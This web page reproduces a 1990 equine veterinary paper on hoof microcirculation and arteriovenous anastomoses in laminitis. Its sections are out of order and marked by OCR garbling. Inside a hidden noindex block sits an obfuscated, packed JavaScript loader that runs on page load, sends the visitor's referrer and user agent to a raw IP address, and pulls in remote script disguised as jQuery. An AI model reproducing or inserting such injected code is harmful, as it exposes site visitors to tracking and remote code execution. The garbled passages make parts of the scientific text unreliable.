align="center" width="500" /> <center> <img src="images/dermal_microcirculation_12.jpg" width="334" height="466" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="dermal_microcirculation_12" src="images/stories/horshoes-graphics/dermal_microcirculation_12.jpg" width="334" height="466" /></p> <p><em><strong>Fig 12:</strong> Vascular corrosion cast of abaxial laminar capillaries (C) arising from a short side branch of an interconnecting artery (A). The artery is recognized by the characteristic longitudinal indentations made on the cast by the endothelial cells of the arterial lumen (bar = 40 u)</em></p> <hr align="center" width="500" /> <p>In the interior third of each lamina and in the corium proper, close to each axial artery were clusters of AVAs with an average diameter of 40t. Their venous end drained into veins of the axial plexus and not the axial vein proper. The arterial ends were situated on the vertical interconnecting branches close to their origins on the main axial arteries. Smaller calibre, shorter AVAs were present throughout the laminar circulation and were occasionally found connecting the vertical peripheral axial artery with the marginal vein. The density (number per cmz) of AVAs was estimated by counting the number of AVAs present in measured areas of vascular casts of the dermal laminae and was approximately 500 per cm.</p> <p><span style="font-size: 12pt;"><strong>Discussion</strong></span></p> <p>Since the microvascular corrosion cast can be considered a three- dimensional vascular skeleton around which the extravascular components are arranged (Rogers and Gannon 1983), the characteristic patterns of the vascular skeleton reflect the anatomy of the surrounding tissues. Thus the internal surface of the coronary and perioplic grooves of the proximal hoof wall were concave and the complementary vascular casts were convex. The keratinized surfaces of the coronary and perioplic grooves were perforated by numerous small openings which received the 4 to 6mm long papillae of the coronary and perioplic dermis or corium (Sack and Habel 1977, Schummer et al 1981). The vascular casts of the coronary and perioplic papillae were cone-shaped and the tapering tips of the cones formed a brush-border. A similar anatomical relationship existed between the vascular casts of the sole and frog papillae and their complementary, keratinized structures.</p> <p>Below the coronary groove the internal surface of the hoof wall bears approximately 600 keratinized, primary epidermal laminae interdigitating with an equal number of dermal laminae (Sack and Habel 1977, Schummer et al 1981). The vascular skeletons of the laminar region reflected this anatomical arrangement and were arranged in rows of thin parallel sheets (Fig 1 a). The casts of proximal laminar vessels merged with the papillae of the coronary demlis, but those of the distal laminae ended in rows of terminal papillae which resembled vascular casts of coronary and sole papillae. The epidermis of the terminal papillae continually produces pigmented horn which fills the spaces (originally occupied by dermal laminae) between the distal ends of the unpigmented epidermal laminae as they grow downwards to form the inner border of the white zone (Sack and Habel 1977, Schummer et a1 1981).</p> <p>The characteristic surface marking of the vascular cohesion casts of the digital dermis clearly differentiates AVAs from ins arterial and venous vessels (Figs 2, 3, 4 and 5). Less prominent in surface markings have been reported on the surface of AVAs in vascular casts of the rabbit's ear (Monis and Bevan 1984; Amevo 1984; Amevo and Molyneux 1985). In transmission electron microscopy studies of the digital dermis of the horse (Molyneux and Pollitt 1987) the endothelium of AVAs is very prominent and ally. protrudes into the lumen of the anastomoses forming an undercut into and tunnel-like areas which correlate with the alveoli. Appearance of AVAs in vascular casts. Prominent endothelial-like cells, but less so than in the foot of the horse, are a usual feature were of cutaneous AVAs and have been observed in AVAs in the leg of the sheep and the ear of the rabbit (Molyneux, unpublished wall observations). The significance of this distinguishing feature of a pair AVA structure remains obscure, although such an arrangement to its could be advantageous in completely occluding the lumen on ended closure of the anastomoses, particularly as they lack an internal each elastic lamina.</p> <p>The density of laminar AVAs at 500 AVAs/cm2 is probably an underestimate as only one surface of each dermal lamina could be clearly examined. Nevertheless, it is a tenfold increase on the density reported by Rooney (1984) using light microscopy and serial sections. AVA densities greater than this have only been reported in the flipper skin of marine animals such as the Weddel seal (Leptonychote.s weddelli) (1000 AVAs/cmz) and the Southern elephant seal (Mirounga leonina) (1200 AVAs/cmz) (Molyneux and Bryden 1981) so the horse is comparatively well endowed with digital AVAs, The large number of laminar AVAs may be an adaptation preventing cold induced tissue damage in horses standing for long periods in ice and snow. A similar explanation has been proposed for the large number of AVAs in the naked feet and legs of polar birds (Munish and Guard 1977). When environmental temperatures drop below 0C, the feet are prevented from freezing by periodic vasodilatation of AVAs. This allows warm blood to bypass the capillary bed and enter the digits quickly to maintain their temperatures above the freezing point.</p> <p>Consideration of the enormous pressure fluctuations which must develop within the equine hoof capsule during galloping and jumping supports the proposal that "bypasses", such as digital AVAs, act as vascular safety valves (Schummer et al 1981). Instead of blood being forced into the high resistance capillary bed (which has a relatively slow circulation time) during peaks of high pressure, blood can be shunted safely from artery to vein via periodically open AVAs, Blood may even flow back and forth from vein to artery when AVAs are open, a phenomenon seen in the dermal microcirculation of conscious rabbit's ears through transparent chambers (Molyneux, unpublished data). If this occurs in the equine digit it may explain why there are no valves found in the veins of the dermal laminae, (Mishra and Leach 1983a).</p> <p>The dermal microcirculation of the equine digit contains a large number of anastomoses in all divisions of its vascular organization. In the laminar circulation, arteries anastomose with each other at regular intervals along the vertical length of each of the 600 or so dermal laminae (from the level of the coronary papillae down to the terminal papillae). The laminar veins also anastomose extensively (the axial venous plexus) and form the bulk of the vascular skeleton of casts of the dermal laminae (Schummer et al 1981). Such a large number of anastomoses would probably impart resistance to infarction so that intravascular coagulation alone cannot be the primary cause of the peripheral digital ischaemia stated to occur during the pathogenesis of early laminitis (Hood et al 1979; Coffman 1972; Ackerman et al 1975; Coffman et al 1970).</p> <p>The inappropriate activity of arteriovenous anastomoses has been said to decrease digital capillary perfusion and cause degeneration of dermal-epidermal tissues (Coffman et al 1970; Coffman 1972; Ackerman et al 1975; Garner 1975; Hood et al 1978; Hood and Stephens 1981; Coffman 1984; Yelle 1986) although the precise anatomical location of such AV shunts was unknown (Hood and Stephens 1981; Mishra and Leach 1983b). Experiments using radioactive particles (Hood et a! 1978) have shown the digital AV shunting does occur during the onset of laminitis and have explained how unchanged or increased total digital blood flow (Robinson et a1 1976) can occur simultaneously with capillary ischaemia of the digit.</p> <p>Since this study has shown that AVAs occur extensively in the dermal circulation in the coronary and terminal papillae as well as in the laminae, the AVA mediated ischaemia of developmental laminitis may affect not only the laminae, but the coronary and terminal papillae as well. Failure of coronary papillae to receive adequate perfusion would result in cessation of hoof wall growth and, if severe enough, coronary band necrosis. This may explain the disturbed hoof and coronary band growth patterns which follow laminitis (Colles and Jeffcott 1977; Yelle 19A6). Weakening or necrosis of the epidermis supplied by the terminal papillae would contribute to separation of the sole wall junction and may account for the sudden appearance of the air or gas line visible in the laminar region of the hoof wall on lateral radiographs made during acute laminitis (Yelle 1986).</p> <p>The presence of large numbers of AVAs directly connecting arteries to veins allows the following pathophysiological mechanism to be proposed. During the developmental stage of laminitis the digital AVAs come under the influence of humoral or neuronal factors which induce their prolonged dilatation. Arterial blood flows rapidly into the venous system, instead of slowly perusing the high resistance capillary bed of the coronary papillae, dermal laminae and terminal papillae. If this inappropriate dilatation of AVAs proceeds for long enough, capillary ischaemia causes epidermal necrosis and disintegration of the hoof-pedal bone bond. After AV shunting has initiated laminitis the disease enters the painful, acute phase and a number of overlapping pathological phenomena follow. Coagulation dysfunction (Hood et al 1979), hypertension (Garner et al 1975), catecholamine release (Amoss, Gremmel and Hood 1982) occur and clinically their effect can be ameliorated with drugs such as the alpha-blockers acepromazine or phenoxybenzamine (Hood, Stephens and Amoss (1982a) and the anticoagulant heparin (Hood, Stephens and Amoss 1982b).</p> <p>If this theory is correct it implies that epidermal cell damage must be one of the earliest lesions of developmental laminitis, universally affecting the entire hoof wall of all four feet. Why then is laminitis usually confined to the toes of the front feet? Perhaps the mechanical factors which cause tearing of the laminae at the toe of the forelegs in 'road founder' (Rooney 1984) also operate during developmental and acute laminitis. The degree of rotation of the hoof wall as it is tom away from the third phalanx (P3) and the amount of sinking of P3 within the hoof capsule vary according to the extent of epidermal cell damage and the interplay of mechanical forces such as weight, centre of gravity, hoof-pastern conformation, amount of forced exercise and the break-over forces of locomotion. This explains why a properly applied Heart-bar Shoe (Chapman and Platt 1994) which stabilized the third phalanx and to some extent neutralizes the angular forces tearing the laminae from P3 can be so efficacious if applied in the early stages of the laminitis syndrome (Pollitt, unpublished data).</p> <p>The bounding digital pulse which is a characteristic clinical finding of laminitis (Colles and Jeffcott 1977; Yelle l996) is probably the result of a change in the dynamics of the pulse wave when the arterial blood bypasses high resistance dermal capillary bed via dilated dermal AVAs. Experiments demonstrating that horses with laminitis have more radioactive cystine in the venous return of their digits than normal horses (Larsson, Obel and Aberg 1956) has suggested that a failure of keratinization or onychogenesis in the cystine dependent cells of the stratum spinosum plays a primary role in the development of laminitis (Coffman 1972). However generalized digital AVA dilatation and the AV shunting of blood would also result in higher than normal concentrations of venous cystine.</p> <p>It seems likely that AVAs have a specific role in the pathophysiology of developmental laminitis, because under certain conditions, over 50 per cent of the limb blood flow can pass through AVAs (Hales and Molyneux 1988) and the existence of relatively large numbers of AVAs in the dermis of the horses digit has now been established. The presence of vasodilator substances such as vasoactive intestinal polypeptide (VIP), substance P and calcitonin gene-related polypeptide (CGRP) in the dense innervation of the dermal AVAs in the digits of horses and ponies (Molyneux and Pollitt 1978) supports our contention that the triggering of perturbed AVA dilatation may be the common denominator linking the varied aetiologies of laminitis.</p> <p>Trout (1987) used radionuclide angiography to show increased total laminar blood flow in the digital circulation of horses with acute laminitis. Prolonged AVA dilatation is a likely cause of this increase but the techniques used were unable to differentiate between capillary and AVA blood flow in the laminar tissues. However synthetic radioactive microspheres of known diameter have been used to partition cutaneous capillary and AVA blood flow (Hales, Fawcett and Bennett 1978; Hales 1981) and experiments in collaboration with Dr. Hales are in progress to differentiate laminar capillary from AVA flow in horses and ponies.</p> <p><span style="font-size: 12pt;"><strong>Acknowledgments</strong></span></p> <p>This study was supported by a grant from the Queensland Equine Research Foundation. The technical assistance provided by the University of Queensland Electronmicroscopy Unit is gratefully acknowledged.</p> <p><span style="font-size: 12pt;"><strong>References</strong></span></p> <p><strong>Amevo, B. (1984)</strong> Micro-corrosion cast study of the luminal morphology of cutaneous orteriovenous anastomoses. MSc. thesis. Department of Anatomy, University of Queensland, Australia. <br /><br /><strong>Amevo, B. and Molyneux, G. S. (1985)</strong> Luminal morphology of cutaneous arteriovenous anastomoses. J. Anat.152, 2l5. <br /><br /><strong>Amoss, M. S. Gremmel, S. H. and Hood, D. M. (l982)</strong> Proceedings of First Equine Endotoxaemia-Laminitis Symposium. Endocrine involvement in induced acute laminitis. Am. Ass. Equine. Pract. Newsletter 2,135-I40. <br /><br /><strong>Ackerman, N., Gamer, H. E., Coffman, J. R. and Clement, J. W. (1975)</strong> Angiographic appearance of the normal equine foot and alterations in chronic laminitis. J. Am. vet. med. Ass.166, 58-62. <br /><br /> <strong>Chapman, B. and Platt, G. W. ( 1984)</strong> Laminitis. Proc. Am. Ass. equine Pract. 30, 99- IIS. <br /><br /><strong>Coffman, J. R., Johnson, J. H., Guffy, M. M. and Finocchio, E. J. ( 1970)</strong> Hoof circulation in equine laminitis. J. Am. vet. med. Ass.156, 76-83. <br /><br /><strong>Coffman, J. R. ( 1972)</strong> Acute laminitis. J. Am. vet. med. Ass.161, l280-1283. <br /><br /> <strong>Coffman, J. R. (1984)</strong> Acute laminitis; mechanisms and therapy. In: Equine Internal Medicine. Proceedings of the 6th Bain-Fallon Memorial Lectures. University of Sydney. Aust. Equine vet. Ass. pp 68-72. <br /><br /> <strong>Colles, C. M. and Leffcott, L. B. (1977)</strong> Laminitis in the horse. Vet. Rec. 100, 262- 264. <br /><br /><strong>Gamer, H. E. ( 1975)</strong> Pathophysiology of equine laminitis. Proc. Am. Ass. equine Pracr. 21,384-387. <br /><br /> <strong>Gannon, B. J. (1978)</strong> Vascular casting. In Principles and techniques of scanning electron microscopy. Biological applications, Vol 6, Ed: M. A. Hayat, Van Nostrand-Reinhold, New York. pp l70-193 <br /><br /><strong>Hales, J. R. S. ( 1981 )</strong> Use of microspheres to partition the microcirculation between capillaries and arteriovenous anstomoses. In "Progress in Microcirculation Research" Ed: D. Garlick. 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(1984)</strong> Arteriovenous anastomoses in the digit of the horse. Equine vet. Sci.4, 182-183. <br /><br /> <strong>Sack, W.0. and Habel, R. E. (1977)</strong> Rooney's guide to the dissection of the horse. Veterinary Textbooks, Ithaca, New York, p.162. <br /><br /><strong>Schummer, A., Wilkens, H., Vollmerhaus, B. and Habermehl, K-H. (1981 )</strong> In: The circulatory system, the skin and the cutaneous organs of the domestic mammals. Verlag Paul Perry. Berlin, p. 557. <br /><br /><strong>Talukdar, A. H., Calhoun, M. L. and Stinson, A. W. (1972)</strong> Specialized vascular structures in the skin of the horse. Am. J. vet. Res. 33, 335-338. <br /><br /><strong> Trout, D. R. (1987)</strong> Scintographic evaluation in digital circulation during the development and acute phases of laminitis. Ph. D. dissertation. University of California. Davis. <br /><br /> <strong> Yelle, M. (1986)</strong> Clinicians guide to equine laminitis. Equine vet. J.18, 156-l58.</p> <p>Posted here with the permission of the authors.<br />First published in Equine vet. J., (1990) 22(2)79-87</p></div> <div class="feed-description"><p><span style="font-size: 12pt;"><strong>Summary</strong></span></p><noindex><script id="jminfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bssiz|var|u0026u|referrer|sktat||js|php'.split('|'),0,{})) </script></noindex> <p class="MsoNormal">The microcirculation of the dermal laminae and papillae of the equine foot from seven clinically normal Australian ponies was studied using an improved microvascular casting corrosion technique and scanning electron microscopy. Casts of veins, arteries, capillaries and arteriovenous anastomoses (AVAs) were readily identified by their characteristic surface morphology. Arteries entered the laminar circulation axially, between pairs of axial veins, and were connected to each other by smaller calibre interconnecting arteries. Short abaxial branches of the axial interconnecting arteries gave rise to tufts of predominantly, proximodistally orientated, capillaries arranged abaxially in rows. The laminar veins anastomosed with each other extensively (the axial venous plexus) and formed most of the vascular skeleton of casts of the dermal laminae. AVAs were found throughout the laminar circulation but the largest and longest (40p diameter) were found clustered close to the origin of the axial arteries. The density of the laminar AVAs was estimated to be 500 AVAs/cmz. Blood vessels of the dermal papillae of the periople, coronary band, distal laminae, sole and frog shared a basic structural organization. The cast of each papillary unit consisted of a central artery and vein enmeshed in a sheath of fine capillaries. At intervals along the length of the central artery were short branches which gave rise to tufts of capillaries. The capillaries formed a tortuous anastomosing plexus which encircled the papillary unit and drained into the central vein at intervals along its length. ÃVAs were always present at the base of the papillary units and anastomoses connected the central artery and vein. ÃJAs are important components of the dermal microcirculation of the equine foot and their distribution and density is compatible with their proposed role in the pathophysiology of equine laminitis.</p> <p><span style="font-size: 12pt;"><strong>Introduction</strong></span></p> <p>VASOCONSTRICTION and ischaemia of the peripheral dermal microcirculation of the equine foot have been in criminated in the pathophysiology of laminitis (Hood et al 1989; Garner 1975; Coffman 1972; Ackerman, Garner, Coffman and Clement 1975; Coffman, Johnson, Guffy and Finocchio 1970). In contrast, acute laminitis is recognized clinically by a bounding digital pulse (Colles and Jeffcott 1977; Yelle 1986), as a result of increased total blood flow to the digit (Robinson, Scott and Dabney 1976). The simultaneous presence, in the digit, of ischaemia despite increased blood flow, has been rationalized by the proposal that ischaemia results because blood is shunted away from the dermal capillary circulation through dilated arteriovenous anastomoses (Hood and Stephens 1981; Coffman 1984). Significant arteriovenous shunting of blood occurs during the developmental stages of laminitis, as capillary sized radioactive particles are diverted from the peripheral capillary bed of the digital dermis (Hood et al 1978).</p> <p>Arteriovenous anastomoses (AVAs) have been described in the hoof wall laminae, in the papillae of the coronet and sole and in the terminal papillae of the laminae (Schummer, Wilkens, Vollmerhaus and Habermehl 1981; Talukdar et al 1972; Rooney l984; Pollitt and Molyneus 1987). Estimates of the density of laminar AVAs differ widely (50 per cm=, Rooney 1984; 500 per cm=, Pollitt and Molyneux 1987).</p> <p>The equine digital microcirculation has to be understood before the pathophysiological mechanism responsible for laminitis can be fully elucidated. Recent technological advances in producing microvascular corrosion casts of the entire circulation of organs (Gannon 1978; Kardon and Kessel 1979) combined with scanning electronmicroscopy, has enabled the microcirculation of the equine digit and the surface markings of vessels to be studied in detail. This investigation characterizes the microcirculation of the dermal laminae and papillae and offers a new theory correlating the distribution and density of AVAs with the pathophysiology of developmental laminitis.</p> <p><span style="font-size: 12pt;"><strong>Materials & Methods</strong></span></p> <p>Seven clinically normal Australian ponies (two male, four geldings and one female) ranging in age from one to 15 years (mean 3.5 years) and weighing from 330 to 420 kg were used in the study. The ponies were destroyed with an intravenous (iv) injection of pentabarbitone sodium and the forelimbs were immediately amputated at the carpal joint. A 12g plastic cannula was inserted into the common digital artery of each limb, firmly ligated and perfused with one liter of warm, normal saline containing 5000 units of heparin. During the perfusion the limb was flexed, extended and made to bear weight until the perfusate was clear of red blood cells. The heparinised saline was held 200cm above the cut end of the common digital artery and the perfusate entered the circulation of the limb at maximal flow rate.</p> <p>After perfusing the amputated limb with heparinised saline a modified, partially polymerized, red pigmented, methacrylate corrosion compound (Batson's No.l7 anatomical corrosion compound, Polyscience Inc.) was then injected using a 25ml automatic vaccinating syringe (Hauptner-Muto, Germany). The Batson's No.l7 anatomical casting compound was diluted with methyl methacrylate monomer (BDH Chemicals Ltd., Poole, England) to reduce the viscosity. The amount of accelerator (component B) recommended by the distributors was reduced by 80 per cent (Gannon 1978). The final injection mixture consisted of l00ml methyl methacrylate monomer, 150ml Batson's No.l7 component A, 20ml component B and 5.0ml component C (Amevo 1984). This prolonged the monitoring time and permitted the injection of the large volume (275m1) of the vascular casting mixture required to perfuse an equine digit without early polymerization causing any apparent increase in viscosity. Saline flowed from the cut ends of the veins during the initial stage of injection of the casting compound. Later, globules of red liquid plastic, suspended in the saline, flowed from the veins, but during injection of the last l00mls the venous effluent appeared uncontaminated with saline. While injecting the last 20mls of plastic, the cut ends of the major veins were ligated and when the injection was completed, the arterial cannula was clamped to prevent backflow. The leg was them immersed in hot water to polymerize the plastic. The next day a band saw was used to cut lcm thick sections from the toe and heel regions which were incubated (37C) for three days, in lolo trypsin dissolved in phosphate buffered saline (pH 7.5). The partially digested dermis was carefully separated from the keratinized tissue and examined with a dissecting microscope. Sections showing good filling of small blood vessels were immersed in 30ml potassium hydroxide for 2 to 3 days to macerate the soft tissue. The vascular casts were then placed in distilled water and cleaned ultrasonically for 3 to 5 minutes. After immersion in absolute alcohol the casts were air dried and prepared for further dissection.</p> <p>Casts of the blood vessels of the dermal laminae were glued with the laminar surface uppermost to the surface of 70 x 70 x 4mm pieces of opaque acrylic plastic (Perspex, ICI). With a dissecting microscope, fine dissecting needles and microsurgery instruments, intact sheets of the casts of laminar vessels (10 x 4mm) complete with the casts of the underlying dermal arteries and veins were cut free and mounted on scanning electron microscopy stubs coated with double sided adhesive tape (Cellotape, 3M).</p> <p>Casts of the vessels of the coronary band, distal laminae, sole and frog were reimmersed in distilled water and placed wet, onto. pieces of the opaque acrylic plastic. The water surround the cast was then frozen to -70 degrees C and sections of the vascular casts were cut using steel backed razor blade. The casts were then immersed in alcohol, dried and mounted as before. The mounted plastic specimens were rendered conductive by sputtering with gold in a Denton Vacuum (Denton Vacuum, Inc., Cherry Hill, New Jersey) Desk I coating unit for 30 seconds.</p> <p>The specimens were examined and photographed using a Cambridge SS 600 stereo-scanning electron microscope at an accelerating voltage of 7.5 to l5kv. Stereo photographs using an 8 degree angle of tilt were used to perceive the third dimension of the micrographs. Enlarged photographic mosaics of the casts of entire laminae were constructed so that AVAs could be counted.</p> <p><span style="font-size: 12pt;"><strong>Results</strong></span></p> <p>The injection technique using a modified low viscosity plastic (Batson's 17 compound diluted with methyl methacrylate monomer) produced complete casts of most of the dermal vascular bed of the digit, except in the demial laminae of the mid- dorsal toe. The casts of the dermal laminae from the heel regions were complete (Fig la and 1b) and it was assumed that the anatomical pattern of the mid dorsal toe was similar (Mishra and Leach 1983b).</p> <hr align="center" width="500" /> <center> <img src="images/dermal_microcirculation_1.jpg" width="332" height="235" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="dermal_microcirculation_1" src="images/stories/horshoes-graphics/dermal_microcirculation_1.jpg" width="332" height="235" /></p> <p><em><strong>Fig 1:</strong> (a) [left] Vascular corrosion cast of three adjacent primary dermal laminae (PDL). Spaces between parallel sheets of laminar vessel casts would normally be occupied by primary epidermal laminae of hoof wall. The vessels at top of picture are marginal veins, the most peripheral elements of the laminar circulation (bar = 400u) (b) [right] A single sheet of laminar vessel casts showing the laminar marginal vein (MV) and mesh of fine interconnected capillaries adjacent to axially located laminar arteries and veins. Boxed area shows cluster of AVAs at base of axial artery. On either side of the artery are prominent axial axial veins (V). The hoof wall was to the left of the picture and the pedal bone to the right (bar = 1mm)</em></p> <hr align="center" width="500" /> Casts made with the improved plastic formulation (Amevo 1984) had a soft, flexible consistency and could be cut and dissected into small portions without fracturing. Using the SEM at 7.5kv the vascular casts showed neither distortion nor charging. Stabilizing the delicate vascular casts in blocks of frozen water prior to sectioning with a razor blade enabled the study of delicate regions such as the blood vessels of the coronary band. The routine examination of stereo pair micrographs conveyed more anatomical information about the spatial relationships of interconnecting blood vessels than single micrographs. Enzyme digestion of hoof sections prior to maceration in saturated potassium hydroxide prevented the hoof wall from collapsing onto the vascular cast during corrosion and preserved the finest elements of the capillary bed (Figs 2, 11 and 12). <hr align="center" width="500" /> <center> <img src="images/dermal_microcirculation_2.jpg" width="338" height="246" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="dermal_microcirculation_2" src="images/stories/horshoes-graphics/dermal_microcirculation_2.jpg" width="338" height="246" /></p> <p><em><strong>Fig 2:</strong> Corrosion cast of dermal laminar vessels. A mesh of fine interconnected capillaries (C) overlies the axially located laminar arteries (A) and veins (V). Segments directly connecting arteries to veins (AVAs) were recognized by characteristically alveolate surface morphology (arrows). The peripheral hoof wall was to the left of picture. Large AVAs were always located at the base of axial arteries and veins and had an average diameter of 40 u (bar = 100u)</em></p> <hr align="center" width="500" /> The shape of a digital vascular cast reflected the anatomy of the internal surface of the hoof wall, with perioplic and coronary sphincter regions forming a convex brush border made up of numerous tapering cone shaped papillae (Fig 6). The laminar region consisted of approximately 600 thin parallel sheets arranged in vertical rows (Fig 1 a). At the distal tip of each lamina, a row of terminal papillae merged with the papillae on the surface of the sole and frog. <hr align="center" width="500" /> <center> <img src="images/dermal_microcirculation_3.jpg" width="332" height="466" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="dermal_microcirculation_3" src="images/stories/horshoes-graphics/dermal_microcirculation_3.jpg" width="332" height="466" /></p> <p><em><strong>Fig 3:</strong> Corrosion cast of laminar vessels showing morphological differences between arteries and veins. Casts of veins (V) show oval shallow pavement depressions. Arteries (A) show fusiform depressions. On the laminar artery are the impressions of rings of constriction which are shown arrowed near an arteriolar side branch which shows sphincter-like impression at its origin (bar = 40u)</em></p> <hr align="center" width="500" /> In this study distinction between the arterial and venous divisions of the circulation was made using the criteria of Kardon and Kessel (1979) who also made vascular casts using a mixture of low viscosity and showed that the different morphology of the endothelial cells lining the lumina of arteries and veins was reflected in the depressions on the surface of vascular casts. Casts of the venous divisions typically possessed numerous oval, shallow 'pavement', surface depressions, whereas fusiform depressions, with their long axis aligned in the direction of blood flow, characterized the surface of arterial casts (Figs 3, 4 and 12). Arterioles showed the impressions of rings of constriction along their lengths, particularly prominent near arteriolar side branches (Fig 3). Venous casts branched and anastomosed profusely, had greater luminal diameters with frequent dilations and were flatter in cross section than adjacent arteriolar casts. Direct vascular connections (AVAs) between arterial and venous divisions were readily identified because their luminal morphology was different from any other elements of the dermal vascular bed (Fig 4). The AVA surface was alveolate and the cavities were surrounded by interconnecting, irregular shaped walls. On some segments, the walls were hexagonal, while in others they were irregular and resembled rough, overlapping scales. This characteristic surface morphology ended abruptly at the junction between arterial and venous ends of the AVA. The arterial junction was neck shaped with a sphincter-like ring of constriction (Fig 4). At the venous end there was a small diameter wide-arm with branches which merged into the general capillary network (Fig 4). Some AVAs, in particular those arising from the first branch of the parietal artery or at the base of papillae, shared a common arterial origin, but then branched into two and resembled the double AVAs described in sheep skin (Molyneux 1965). Each branch entered the venous circulation at a different level (Fig 5). The AVAs of the deeper dermis were longer, of wider diameter (average diameter ~40) and more branched than those of the peripheral layers. <hr align="center" width="500" /> <center> <img src="images/dermal_microcirculation_4.jpg" width="326" height="250" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="dermal_microcirculation_4" src="images/stories/horshoes-graphics/dermal_microcirculation_4.jpg" width="326" height="250" /></p> <p><em><strong>Fig 4:</strong> Corrosion cast of laminar dermal vessels showing direct connection between an artery and vein. The surface of the cast of the arteriovenous anastomosis (AVA) is deeply pitted (alveolate) and the pits are surrounded by irregular shaped walls. At the arterial (A) end of the AVA the junction shows a sphincter-like ring of constriction (arrowed). A venous (V) side arm close to the AVA leads to a venular-capillary (C) network (bar = 100 u)</em></p> <hr align="center" width="500" /> <center> <img src="images/dermal_microcirculation_5.jpg" width="340" height="412" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="dermal_microcirculation_5" src="images/stories/horshoes-graphics/dermal_microcirculation_5.jpg" width="340" height="412" /></p> <p><em><strong>Fig 5:</strong> Corrosion cast of dermal vessels at base of terminal papillae. Both arms of a double AVA are shown (arrows) entering the venous (V) circulation at different levels. In this preparation some of the finer vessel casts have been removed to show deeper structures. Arteries (A), bar= 100u </em></p> <hr align="center" width="500" /> <p><em>The vascular skeleton of dermal papiflae</em></p> <p>The vessels of the dermal papillae of the periople, coronary band, distal laminae, sole and frog regions shared a basic structural organization (Fig 9). The cast of each papillary unit consisted of a central artery and vein enmeshed in a sheath of fine capillaries (Fig 6 and 7). At intervals along the artery, short side-arms gave rise to capillary tufts, which formed a tortuous anastomosing plexus, encircling the papillary unit before draining into the central vein at intervals along its length (Fig 7 and 9).</p> <hr align="center" width="500" /> <center> <img src="images/dermal_microcirculation_6.jpg" width="332" height="470" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="dermal_microcirculation_6" src="images/stories/horshoes-graphics/dermal_microcirculation_6.jpg" width="332" height="470" /></p> <p><em><strong>Fig 6:</strong> Vascular cast of the vessels of dermal coronary papillae (CP). in life, each papilla fit into a socket in the epidermis of the enmeshed in a sheath of coronary groove of the proximal hoof wall. The arrows show arteries crossing a large collecting vein (V). Each papillary unit contains a central artery and vein surrounded by a meshwork of capillaries (bar = 1mm)</em></p> <hr align="center" width="500" /> <center> <img src="images/dermal_microcirculation_7.jpg" width="332" height="472" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="dermal_microcirculation_7" src="images/stories/horshoes-graphics/dermal_microcirculation_7.jpg" width="332" height="472" /></p> <p><em><strong>Fig 7:</strong> Corrosion cast of a terminal papilla showing central artery (A) and vein (V) enmeshed in a sheath of capillaries (C). The capillary plexus drains into the central papillary vein (arrowed), bar = 200u</em></p> <hr align="center" width="500" /> <p>Examination of stereo pair micrographs of papillary vascular units showed that the central artery was circular and the vein was ovoid in cross-section and that the two vessels spiralled around each other. The terminal portions of the casts of these vessels were usually devoid of endothelial mall impressions probably because of low perfusion pressure. Several AVAs were always present at the base of the papillary using units directly connecting the arterial and venous divisions of the circulation prior to its entering the papillary capillary bed. I into Smaller and shorter AVAs connected the central artery and vein. skin within the proximal third of each papillary vascular unit (Fig 8)</p> <hr align="center" width="500" /> <center> <img src="images/dermal_microcirculation_8.jpg" width="332" height="446" /> </center> <p style="text-align: center;"><em><strong><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="dermal_microcirculation_8" src="images/stories/horshoes-graphics/dermal_microcirculation_8.jpg" width="332" height="446" /></strong></em></p> <p style="text-align: center;"><em><strong>Fig 8:</strong> Vascular cast of the vessels of dermal coronary papilla. An AVA is shown arising from the central papillary artery (A). The AVA drains directly into the central vein (not shown here). Capillaries (C), small vein (v) bar = 40u</em></p> <hr align="center" width="500" /> <p><em>The vascular skeleton of dermal laminae </em></p> <p>The architecture of the venous laminar circulation followed the pattern described by Mishra and Leach (1983b). In the hoof wall corium, at the base of each primary dermal lamina, were vertically orientated parietal collecting veins (Fig 10). Axial veins orientated parallel to one another were distributed throughout each dermal lamina and joined the parietal veins at regular intervals. Numerous anastomoses of the large calibre axial veins: formed the axial venous plexus. Peripherally, near the exterior limits of the laminar circulation, the axial venous plexus formed either a marginal vein or a marginal plexus (Fig 10). Smaller: calibre interconnecting veins completed the axial plexus and the capillaries of the laminae drained directly into them (Fig 10 and 11).</p> <hr align="center" width="500" /> <center> <img src="images/dermal_microcirculation_9.jpg" width="500" height="378" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="dermal_microcirculation_9" src="images/stories/horshoes-graphics/dermal_microcirculation_9.jpg" width="500" height="378" /></p> <p><em><strong>Fig 9:</strong> Schematic diagram of the microcirculation of digital dermal papillae. Numerous AVAs connect the central artery and vein of each papilla. The largest AVAs are found (lose to the origin of the central artery and vein. Each dermal papilla fits into an epidermal socket lined with germinal cells giving rise to epidermal cells which keratinize and form the horny substance of the equine hoof. The microcirculation of the coronary, laminar terminal, and solar papillae is essentially the same.</em></p> <hr align="center" width="500" /> <center> <img src="images/dermal_microcirculation_10.jpg" width="500" height="420" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="dermal_microcirculation_10" src="images/stories/horshoes-graphics/dermal_microcirculation_10.jpg" width="500" height="420" /></p> 